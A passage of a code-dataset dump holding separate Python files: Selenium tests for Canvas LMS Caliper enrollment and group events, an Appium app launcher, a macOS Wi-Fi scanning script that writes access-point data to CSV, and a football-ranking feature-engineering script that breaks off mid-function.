\"course_enrollment_term_id\")\n )\n )\n\n # scroll to bottom\n super().scroll_to_bottom()\n\n # use default values\n # click copy course button\n # self.driver.find_element_by_xpath(\"//button[id ='value']\").click()\n xpath = \"/html/body/div[2]/div[2]/div[2]/div[3]/div[1]/div/form/div[8]/button\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.XPATH, xpath))\n ).click()\n\n # takes user to import content page\n # takes a whilt for course to be created so check for an delete them when we start this test\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n # caliper events\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/enrollment_created.json\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/enrollment_updated.json\n def test_canvas_enrollment_event_caliper_desktop(self):\n try:\n super().login_sso()\n\n self.__access_test_events_course()\n\n # click people in course\n # this is off screen, may need presence instead of visiblity\n # self.driver.find_element(By.LINK_TEXT, \"People\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"People\"))\n ).click()\n\n # wait for testacct1 to show\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"user_114217\"))\n )\n\n # remove testacct222 if in course\n if self.driver.find_elements_by_css_selector('#user_115752'):\n print(\"testacct2 user exists, remove\")\n self.__remove_user_from_course()\n\n #\n # add testacct222 user to course\n #\n\n # 7 | click | id=addUsers |\n # self.driver.find_element(By.ID, \"addUsers\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"addUsers\"))\n ).click()\n\n # click in the add users text field\n # does this id stay the same over time? no\n # 8 | click | id=ugxK2UObCuVx |\n # self.driver.find_element(By.ID, \"ugxK2UObCuVx\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.TAG_NAME, \"textarea\"))\n ).click()\n\n # enter email address\n # 9 | type | id=ugxK2UObCuVx | testacct222@ucsd.edu\n self.driver.find_element(By.TAG_NAME, \"textarea\").send_keys(\n \"testacct222@ucsd.edu\")\n\n # click next\n # 10 | click | id=addpeople_next |\n self.driver.find_element(By.ID, \"addpeople_next\").click()\n\n # wait for \"start over\" button to appear since page content basically the same\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"addpeople_back\"))\n )\n\n # click \"add users\" - same id as previous dialog we submitted\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"addpeople_next\"))\n ).click()\n\n # assertion that user is there\n assert self.driver.find_elements_by_css_selector('#user_115752')\n\n # comment out remove user - keep them there for enrollment change test below\n # still on people page\n # remove user from course\n # self.__remove_user_from_course()\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n # enrollment_state: active, etc. for a change event, set to deactivate\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/enrollment_state_created.json\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/enrollment_state_updated.json\n\n def test_canvas_enrollment_state_change_event_caliper_desktop(self):\n try:\n super().login_sso()\n\n self.__access_test_events_course()\n\n # click people in course nav menu\n # this is off screen, may need presence instead of visiblity\n # self.driver.find_element(By.LINK_TEXT, \"People\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"People\"))\n ).click()\n\n # wait for testacct1 to show\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"user_114217\"))\n )\n\n #\n # deactivate user\n #\n\n # click hamburger menu for user\n # 12 | mouseOver | css=#user_115752 .icon-more |\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CSS_SELECTOR, \"#user_115752 .icon-more\"))\n ).click()\n # element = self.driver.find_element(\n # By.CSS_SELECTOR, \"#user_115752 .icon-more\")\n # super().move_to_element(element)\n\n # 13 | click | css=#user_115752 .icon-more |\n # self.driver.find_element(By.CSS_SELECTOR, \"#user_115752 .icon-more\").click()\n # 14 | mouseOut | css=#user_115752 .icon-more |\n # element = self.driver.find_element(By.CSS_SELECTOR, \"body\")\n # actions = ActionChains(self.driver)\n # actions.move_to_element(element, 0, 0).perform()\n\n super().scroll_to_bottom()\n\n # click \"deactivate user\" in dropdown\n # TODO: change to descriptive id in case order changes?\n # 15 | click | id=ui-id-6 |\n element = self.driver.find_element(By.ID, \"ui-id-8\")\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"ui-id-8\"))\n ).click()\n\n # 22 | assertConfirmation | Are you sure you want to deactivate...\n assert self.driver.switch_to.alert.text == \"Are you sure you want to deactivate this user? They will be unable to participate in the course while inactive.\"\n\n # 23 | webdriverChooseOkOnVisibleConfirmation | |\n self.driver.switch_to.alert.accept()\n\n '''\n # role change code - removed\n # click role dropdown\n # 16 | click | id=role_id |\n # self.driver.find_element(By.ID, \"role_id\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"role_id\"))\n ).click()\n\n # select Observer role\n # 17 | select | id=role_id | label=Observer\n dropdown = self.driver.find_element(By.ID, \"role_id\")\n\n # TODO: wait for dropdown elements first?\n dropdown.find_element(By.XPATH, \"//option[. = 'Observer']\").click()\n\n # submit role change\n # 18 | click | css=.btn-primary > .ui-button-text |\n self.driver.find_element(\n By.CSS_SELECTOR, \".btn-primary > .ui-button-text\").click()\n '''\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n # groups (referred to as categories in caliper docs, element ids)\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/group_category_created.json\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/group_created.json\n def test_canvas_group_events_caliper_desktop(self):\n try:\n super().login_sso()\n\n self.__access_test_events_course()\n\n # click people in course\n # this is off screen, may need presence instead of visiblity\n # self.driver.find_element(By.LINK_TEXT, \"People\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"People\"))\n ).click()\n\n # wait for testacct1 to show\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"user_114217\"))\n )\n\n #\n # delete group set if if exists\n #\n elements = self.driver.find_elements_by_link_text(\n 'Group Set A')\n if not elements:\n print(\"No Group Set A element found, skip delete\")\n else:\n # group_cat_1_element = elements[0]\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"Group Set A\"))\n ).click()\n # super().wait_for_ajax(self.driver)\n\n # click hamburger menu for group set A\n # NOTE: group set A must be first group set listed\n #\n # (//i[@class='icon-more']\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"(//a[@role='button']//i)[2]\"))\n ).click()\n super().wait_for_ajax(self.driver)\n\n # click delete group set\n # (//li[@class='ui-menu-item']//a)[3]\n # div#group_categories_tabs>div:nth-of-type(3)>div>div>div>div>span>ul>li:nth-of-type(4)>a\n # //a[contains(@class,'icon-trash delete-category')]\n super().wait_for_ajax(self.driver)\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CSS_SELECTOR, \"div#group_categories_tabs>div:nth-of-type(3)>div>div>div>div>span>ul>li:nth-of-type(4)>a\"))\n ).click()\n\n # click \"Everyone\" tab so we're back at base groups page\n # super().wait_for_ajax(self.driver)\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"Everyone\"))\n ).click()\n\n super().wait_for_ajax(self.driver)\n assert self.driver.switch_to.alert.text == \"Are you sure you want to remove this group set?\"\n self.driver.switch_to.alert.accept()\n '''\n # delete group - not needed\n\n # click hamburger menu for group 1\n # (//i[@class='icon-more'])[2]\n # //a[@class='al-trigger action-darkgray']//i[1]\n # //a[@id='group-37446-actions']/i[1]\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"//a[@id='group-37446-actions']/i[1]\"))\n ).click()\n\n # By.LINK_TEXT, \"Delete\"\n # (//li[@class='ui-menu-item']//a)[3]\n # //a[contains(@class,'icon-trash delete-category')]\n super().wait_for_ajax(self.driver)\n\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"(//li[@class='ui-menu-item']//a)[3]\"))\n ).click()\n\n assert self.driver.switch_to.alert.text == \"Are you sure you want to remove this group?\"\n self.driver.switch_to.alert.accept()\n '''\n\n # add group set and group\n self.__add_group_set_and_group()\n\n # assert \"Group Set A\" exists\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"Group Set A\"))\n ).click()\n elements = self.driver.find_elements_by_link_text(\n 'Group Set A')\n assert len(elements) == 1\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n # https://d1raj86qipxohr.cloudfront.net/production/caliper/event-types/group_membership_created.json\n def test_canvas_group_membership_event_caliper_desktop(self):\n try:\n super().login_sso()\n\n self.__access_test_events_course()\n\n # click people in course\n # this is off screen, may need presence instead of visiblity\n # self.driver.find_element(By.LINK_TEXT, \"People\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.LINK_TEXT, \"People\"))\n ).click()\n\n # wait for testacct1 to show\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"user_114217\"))\n )\n\n # delete membership if it exists\n # drag user out of group cat a\n\n source_element = self.driver.find_element(\n By.CLASS_NAME, \"group-user-name\")\n dest_element = self.driver.find_element(\n By.CLASS_NAME, \"no-results\")\n ActionChains(self.driver).drag_and_drop(\n source_element, dest_element).perform()\n\n # Click People\n # people\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CLASS_NAME, \"people\"))\n ).click()\n\n #\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CLASS_NAME, \"search-query\"))\n )\n\n #\n # drag student into group\n # we have manually added testacct222 to course already\n\n source_element = self.driver.find_element(\n By.CLASS_NAME, \"group-user-name\")\n dest_element = self.driver.find_element(\n By.CLASS_NAME, \"group-name\")\n ActionChains(self.driver).drag_and_drop(\n source_element, dest_element).perform()\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n #\n # private utility methods\n #\n\n def __remove_user_from_course(self):\n try:\n\n # click user hamburger menu\n # 19 | click | css=#user_115752 .icon-more |\n # self.driver.find_element(By.CSS_SELECTOR, \"#user_115752 .icon-more\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CSS_SELECTOR, \"#user_115752 .icon-more\"))\n ).click()\n\n super().scroll_to_bottom()\n\n # click \"delete user\" in dropdown; changed to 9 from 18\n # 21 | click | id=ui-id-18 |\n # self.driver.find_element(By.ID, \"ui-id-18\").click()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"ui-id-9\"))\n ).click()\n\n # 22 | assertConfirmation | Are you sure you want to remove this user? |\n assert self.driver.switch_to.alert.text == \"Are you sure you want to remove this user?\"\n\n # 23 | webdriverChooseOkOnVisibleConfirmation | |\n self.driver.switch_to.alert.accept()\n\n except Exception:\n raise Exception\n\n def __add_group_set_and_group(self):\n try:\n\n # click \"+ group set\"\n # (By.XPATH, \"#//a[@href='/courses/20774/groups#new']\"))\n # //button[@id='add-group-set']\n # (By.ID, \"add-group-set\"))\n # //a[@href='/courses/20774/groups#new']\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"//a[@href='/courses/20774/groups#new']\"))\n ).click()\n\n # click in \"group set name\" text field\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"new_category_name\"))\n ).click()\n\n # enter \"group set a\" nane\n self.driver.find_element(\n By.ID, \"new_category_name\").send_keys(\"Group Set A\")\n\n # click first radio button\n # //input[@name='split_groups']\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"//input[@name='split_groups']\"))\n ).click()\n\n # click up button on number of groups\n # //input[@name='create_group_count']\n # WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n # expected_conditions.element_to_be_clickable(\n # (By.NAME, \"create_group_count\"))\n # ).click()\n\n # self.driver.find_element(\n # By.NAME, \"create_group_count\").send_keys(\"1\")\n\n # click \"i'll create groups later\" - can't get create_group_count option to work\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"(//input[@type='radio'])[3]\"))\n ).click()\n\n # click save button\n # creates new group set\n # newGroupSubmitButton\n super().scroll_to_bottom()\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"newGroupSubmitButton\"))\n ).click()\n\n # create group in group set so we can drag students to it\n super().wait_for_ajax(self.driver)\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"//button[@title='Add Group']\"))\n ).click()\n\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"group_name\"))\n ).click()\n\n self.driver.find_element(\n By.ID, \"group_name\").send_keys(\"Group 1\")\n\n self.driver.find_element(\n By.ID, \"group_max_membership\").click()\n\n self.driver.find_element(\n By.ID, \"group_max_membership\").send_keys(\"1\")\n\n # (//button[@type='submit'])[2]\n self.driver.find_element(\n By.XPATH, \"(//button[@type='submit'])[2]\").click()\n\n except Exception:\n raise Exception\n\n def __access_test_events_course(self):\n try:\n\n # click courses\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"global_nav_courses_link\")\n )\n ).click()\n\n # click courses\n # self.driver.find_element_by_link_text(\"Courses\").click()\n\n # wait for test course div\n xpath = \"/html/body/div[3]/span/span/div/div/div/div/div/ul[1]/li[1]/a\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.XPATH, xpath))\n )\n\n # click on test course\n self.driver.find_element_by_link_text(\n \"Canvas Caliper Events Testing\"\n ).click()\n\n except Exception:\n raise Exception\n\n def __assignment_override(self, index_number):\n try:\n\n # assignment override - replace 'Everyone' with section\n # click 'x' for 'Everyone' in 'assign to' box\n # FAILING here (wasn't before): not seeing \"everyone \" selected after we save it previously\n # TODO: check for it before attempting to delete?\n element = self.driver.find_element(\n By.CLASS_NAME, \"ic-token-delete-button\")\n super().move_to_element(element)\n element.click()\n\n # wait for div (not select-based) section list dropdown\n super().wait_for_ajax(self.driver)\n\n # sections: course name is //*[@id=\"ic-tokeninput-list-1\"]/div[3]\n # everybody is [2]\n xpath = \"/html/body/div[2]/div[2]/div[2]/div[3]/div[1]/div/div[1]/form/div[1]/div[6]/div[2]/div/div/div/div[1]/div[2]/ul/li/div/div/div[\" + str(\n index_number) + \"]\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (\n By.XPATH, xpath\n # By.XPATH,'//*[@id=\"ic-tokeninput-list-1\"]/div[' +\n # str(index_number) + ']',\n )\n )\n ).click()\n super().wait_for_ajax(self.driver)\n\n # save assignment (EVENT: assignment_updated, assignment_override_created)\n\n super().scroll_to_bottom()\n xpath = \"/html/body/div[2]/div[2]/div[2]/div[3]/div[1]/div/div[1]/form/div[3]/div[2]/button[3]\"\n element = self.driver.find_element(By.XPATH, xpath)\n super().move_to_element(element)\n\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.XPATH, xpath))\n ).click()\n\n # Save changes\n # Select More Options button\n actions = ActionChains(self.driver) \n actions.send_keys(Keys.TAB * 18).send_keys(Keys.ENTER)\n actions.perform()\n\n except Exception:\n raise Exception\n","repo_name":"ucsd-ets/canvas-caliper-tests-public","sub_path":"test/test_desktop_caliper_events.py","file_name":"test_desktop_caliper_events.py","file_ext":"py","file_size_in_byte":33879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74094272518","text":"\nfrom appium import webdriver\n\nfrom SetpTest_62.HomeWork_62.pages.base_page import BasePage\nfrom SetpTest_62.HomeWork_62.pages.main_page import Main\n\n\nclass App(BasePage):\n _package = 'com.tencent.wework'\n _activity = '.launch.WwMainActivity'\n\n def app_start(self):\n if self.driver is None:\n caps = {}\n\n caps[\"platformName\"] = \"android\"\n caps[\"devicesName\"] = \"127.0.0.1:7555\"\n caps[\"appPackage\"] = self._package\n caps[\"appActivity\"] = self._activity\n caps[\"noReset\"] = \"true\"\n caps['settings[waitForIdleTimeout]'] = 0\n caps[\"dontStopAppOnReset\"] = \"true\"\n self.driver = webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\", caps)\n else:\n self.driver.start_activity(self._package, self._activity)\n self.driver.implicitly_wait(10)\n return self\n\n def goto_main(self):\n return Main(self.driver)\n\n","repo_name":"hanjj01/HomeWor6-2","sub_path":"SetpTest_62/HomeWork_62/pages/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37825259161","text":"\n# OS: MACOS\nimport subprocess, re\nimport csv\nimport sys\nimport os\nfrom tabulate import tabulate\nfrom datetime import datetime\n\n# checker: /Users/ashnadesai/Documents/UNI/COMP4336/test.csv\n\nfrom re import findall\nfrom subprocess import Popen, PIPE\n\n# airport commands to get AP info\nscanned_wifi = subprocess.check_output([\"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport\",\"-s\"])\nif len(scanned_wifi.splitlines()) < 2:\n quit()\n\nSSID = scanned_wifi.decode()\nfilename = 'test.csv'\ntable = []\ncolumns = []\n# columns to be included in CSV file\n# columns = ['time', 'os', 'network interface', 'gps latitude', 'gps longitude', 'gps accuracy (meters)', 'ssid', 'bssid', 'wi-fi standard', 'frequency', 'network channel', 'channel width (in mhz)', 'rssi (in dbm)', 'noise level (in dbm)', 'public ip address', 'network delay (in ms)']\n# table.append(columns)\n\n# 'time', 'os', 'network interface', 'gps latitude', 'gps longitude', 'gps accuracy (meters)', \n# 'ssid', 'bssid', 'wi-fi standard', 'frequency', 'network channel', 'channel width (in mhz)', \n# 'rssi (in dbm)', 'noise level (in dbm)', 'public ip address', 'network delay (in ms)'\n# write columns to csv\n# with open(filename, 'w', newline='') as csvfile:\n# writer = csv.writer(csvfile)\n# writer.writerow(columns)\n\n# info gathered from Netspot to get info on channel width (not accessible from terminal)\nwith open('all_networks.csv','r') as networks:\n wifisbyline = networks.readlines()\n\nprint(SSID)\n# TODO: set value\ngps_latitude = [-33.918711]\ngps_longitude = [151.228814]\nip = '101.188.67.134'\nnetwork_interface = ['en0']\n\n# unchanged vals\ntime = [int(datetime.now().timestamp())]\nmy_os = ['MACOS']\ngps_accuracy = ['20']\nwifi_standard = '802.11'\n# write to phase1 csv file\nreached_bssi = 0\nwith open(filename, 'a', newline='') as csvfile:\n writer = csv.writer(csvfile)\n all_aps = SSID.splitlines()[1:]\n for lines in all_aps:\n all_values = []\n values = lines.split()\n if len(values) == 0:\n reached_bssi = 2\n continue\n if reached_bssi > 0:\n reached_bssi -= 1\n continue\n for index,l in enumerate(values):\n if values[index + 2].lstrip('-').isdigit():\n break\n name = ''\n for i, a in enumerate(values):\n if i == index:\n if index > 0:\n name = name + \" \" + values[i]\n else:\n name = name + values[i]\n break\n name = name + values[i]\n list_values = ([name] + values[index+1:])\n all_values = time + my_os + network_interface + gps_latitude + gps_longitude + gps_accuracy + [name] + [list_values[1]]\n \n found = False\n bssid = list_values[1]\n ssid = list_values[0]\n for netspot in wifisbyline:\n netspot_info = netspot.split(',')\n if ssid in netspot_info[0] and bssid in netspot_info[1].lower():\n # append wifi standard\n all_values.append(wifi_standard + netspot_info[3].replace('\"', '').replace(\" \", ''))\n # append frequency\n #print(int(list_values[3].split(',')[0]))\n all_values.append(netspot_info[4].replace('\"', ''))\n channel = list_values[3].split(',')[0]\n all_values.append(int(channel))\n all_values.append(netspot_info[2].replace('\"', ''))\n all_values.append(list_values[2])\n all_values.append(netspot_info[5].replace('\"', ''))\n found = True\n break\n if not found:\n all_values.append('')\n if name == 'uniwide':\n all_values.append(ip)\n else:\n all_values.append('')\n\n delay = os.system(\"ping -c 1 -w2 \" + 'unsw.edu.au' + \" > /dev/null 2>&1\")\n all_values.append(delay)\n if found:\n writer.writerow(all_values)\n table.append(all_values)\n\nprint(tabulate(table))\n\n","repo_name":"ashnad17/assignment_phase1","sub_path":"ass-phase1.py","file_name":"ass-phase1.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38991352480","text":"from sklearn.linear_model import LinearRegression\nimport pandas as pd\nfrom scipy.stats import kendalltau\nfrom sklearn.model_selection import train_test_split\n\nfrom time import time\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import NullFormatter\nfrom sklearn import manifold\npd.options.mode.chained_assignment = None\n\ndef construct_features(player_data, points_data):\n\n feature_set = points_data.copy()\n #------------Feature 1------------\n club_lb = feature_set.groupby('Club').agg({'Points':lambda x:max(0, x.mean()-3*x.std())})\n feature_set = feature_set.set_index(['Club', 'Season']).sort_index()\n prev_season_scores = []\n \n #------------Feature 4------------\n idx = points_data.groupby('Season')['Points'].transform(max) == points_data['Points']\n champions = points_data[idx]\n del idx\n champions.set_index(['Club', 'Season'], inplace=True)\n #------------Feature 2------------\n was_champion = []\n \n for row in feature_set.itertuples():\n (club, season), rest = row[0], row[1:len(row)]\n prev_season = season - 1\n if (club, prev_season) in feature_set.index:\n prev_season_scores.append(feature_set.loc[(club, prev_season)]['Points'])\n else:\n prev_season_scores.append(club_lb.loc[club, 'Points'])\n \n was_champion.append(int(club in champions.index))\n del club_lb\n \n feature_set['prev_season_score'] = prev_season_scores\n del prev_season_scores\n #------------Feature 1------------\n \n feature_set['was_champion'] = was_champion\n del was_champion\n #------------Feature 2------------\n \n #------------Feature 3&5------------\n player_data_club_season = player_data.groupby(['Club', 'Season'])\n cs_averages = player_data_club_season['Age', 'Multinational', 'Market Value'].mean()\n feature_set[['avg_age', 'multinationality', 'avg_market_value']] = cs_averages\n #------------Feature 3&5------------\n champions['avg_age'] = cs_averages['Age']\n del cs_averages\n opt_age = champions['avg_age'].mean()\n def sum_of_sq(list):\n return sum(i*i for i in list)\n ssq = player_data_club_season.agg({'Age':lambda x:sum_of_sq(x-opt_age)})\n feature_set['ssq_opt_age'] = ssq\n #------------Feature 4------------\n \n #------------Feature 6------------\n cs_nationality_counts = {}\n for row in player_data.itertuples():\n index, rest = row[0], row[1:len(row)]\n (season, club) = rest[0:2]\n if (club, season) not in cs_nationality_counts:\n cs_nationality_counts[(club, season)] = {}\n if rest[5] not in cs_nationality_counts[(club, season)]:\n cs_nationality_counts[(club, season)][rest[5]] = 1\n else:\n cs_nationality_counts[(club, season)][rest[5]] += 1\n \n most_nations = set()\n for row in champions.itertuples():\n (club, season), rest = row[0], row[1:len(row)]\n most = second_most = ('asdasd', 0)\n for nation, count in cs_nationality_counts[(club, season)].items():\n if most[1] < count:\n second_most = most\n most = (nation, count)\n elif second_most[1] < count:\n second_most = (nation, count)\n most_nations.add(most[0])\n most_nations.add(second_most[0])\n del champions\n \n def get_nation_ratio(x, **kwargs):\n nation = kwargs['Nation']\n club, season = x['Club'].iloc[0], x['Season'].iloc[0]\n if (club, season) not in cs_nationality_counts:\n return 0\n elif nation not in cs_nationality_counts[(club, season)]:\n return 0\n else:\n return cs_nationality_counts[(club, season)][nation] / \\\n sum(cs_nationality_counts[(club, season)].values())\n for nation in most_nations:\n feature_set['from_' + nation] = player_data_club_season[['Club', 'Season']].\\\n apply(get_nation_ratio, Nation = nation)\n del player_data_club_season\n del most_nations\n #------------Feature 6------------\n \n #------------Feature 7------------\n def get_club_order(x):\n res = {}\n i = 1\n for row in x.sort_values('Points', ascending=0)['Club'].iteritems():\n res[row[1]] = i\n i += 1\n return res\n season_orders = points_data.groupby('Season', sort=False).apply(get_club_order).to_dict()\n prev_season_orders = []\n for row in feature_set.itertuples():\n (club, season), rest = row[0], row[1:len(row)]\n prev_season = season - 1\n if prev_season in season_orders and club in season_orders[prev_season]:\n prev_season_orders.append(season_orders[prev_season][club])\n else:\n prev_season_orders.append(0)\n feature_set['prev_season_order'] = prev_season_orders\n #------------Feature 7------------\n \n #------------Feature 8------------\n player_csp_df = player_data.copy()\n player_csp_df = player_csp_df.set_index(['Club', 'Season', 'Player']).sort_index()\n player_csp_df.drop(['Age', 'Nationality', 'Multinational', 'Foreign', 'Market Value'],inplace=True,axis=1)\n same_players = []\n \n for row in player_csp_df.itertuples():\n (club, season, player) = row[0]\n prev_season = season-1\n if (club, prev_season, player) in player_csp_df.index:\n same_players.append(1)\n else:\n same_players.append(0)\n \n player_cs_df = player_data.copy()\n player_cs_df = player_cs_df.set_index(['Club', 'Season']).sort_index()\n player_cs_df.drop(['Player', 'Age', 'Nationality', 'Multinational', 'Foreign', 'Market Value'],inplace=True,axis=1)\n \n #------------Feature 10------------\n num_of_players = player_cs_df.copy()\n num_of_players['num_of_players'] = ''\n num_of_players = num_of_players.groupby(num_of_players.index).count()\n feature_set['num_of_players'] = num_of_players['num_of_players']\n #------------Feature 10-----------\n \n \n player_cs_df['played_prev_season'] = same_players\n player_cs_df = player_cs_df.groupby(player_cs_df.index).sum()\n feature_set['num_of_ex_players'] = player_cs_df['played_prev_season']\n #------------Feature 8------------\n \n #------------Feature 9------------\n seasons = []\n for row in feature_set.itertuples():\n (club, season) = row[0]\n seasons.append(season)\n \n feature_set['season'] = seasons\n #------------Feature 9------------\n \n #------------Feature 11------------\n feature_set['old_player_ratio'] = feature_set['num_of_ex_players'] / feature_set['num_of_players']\n #------------Feature 11------------\n return feature_set.drop('Points', axis=1)\n\ndef construct_labels(points_df):\n points_df = points_df.set_index(['Club', 'Season']).sort_index()\n return points_df\n \n\n\n# If you try to choose to predict points instead of rankings then you should implement this function as well\n# to generate rankings. If you predict the rankings directly, you can leave this function as it is.\ndef convert_points_to_rankings(predictions):\n predictions=pd.DataFrame(predictions)\n predictions.sort_values(by=predictions.columns[0], ascending=False, inplace=True)\n predictions[predictions.columns[0]]=range(1,len(predictions)+1)\n predictions.rename(columns = {predictions.columns[0]:'Ranks'}, inplace = True)\n predictions.sort_index(inplace = True)\n return predictions\n\n\ndef reduce_to_2D(X, Y):\n color = Y\n n_neighbors = 10\n n_components = 2\n\n fig = plt.figure(figsize=(15, 8))\n plt.suptitle('Manifold Learning with %i points, %i neighbors'\n % (len(X), n_neighbors), fontsize=14)\n\n methods = ['standard', 'ltsa', 'hessian', 'modified']\n labels = ['LLE', 'LTSA', 'Hessian LLE', 'Modified LLE']\n\n for i, method in enumerate(methods):\n t0 = time()\n Y = manifold.LocallyLinearEmbedding(n_neighbors, n_components,\n eigen_solver='auto',\n method=method).fit_transform(X)\n t1 = time()\n print('%s: %.2g sec' % (methods[i], t1 - t0))\n\n ax = fig.add_subplot(252 + i)\n plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)\n plt.title('%s (%.2g sec)' % (labels[i], t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n t0 = time()\n Y = manifold.Isomap(n_neighbors, n_components).fit_transform(X)\n t1 = time()\n print('Isomap: %.2g sec' % (t1 - t0))\n ax = fig.add_subplot(257)\n plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)\n plt.title('Isomap (%.2g sec)' % (t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n\n t0 = time()\n mds = manifold.MDS(n_components, max_iter=100, n_init=1)\n Y = mds.fit_transform(X)\n t1 = time()\n print('MDS: %.2g sec' % (t1 - t0))\n ax = fig.add_subplot(258)\n plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)\n plt.title('MDS (%.2g sec)' % (t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n\n t0 = time()\n se = manifold.SpectralEmbedding(n_components=n_components,\n n_neighbors=n_neighbors)\n Y = se.fit_transform(X)\n t1 = time()\n print('SpectralEmbedding: %.2g sec' % (t1 - t0))\n ax = fig.add_subplot(259)\n plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)\n plt.title('SpectralEmbedding (%.2g sec)' % (t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n 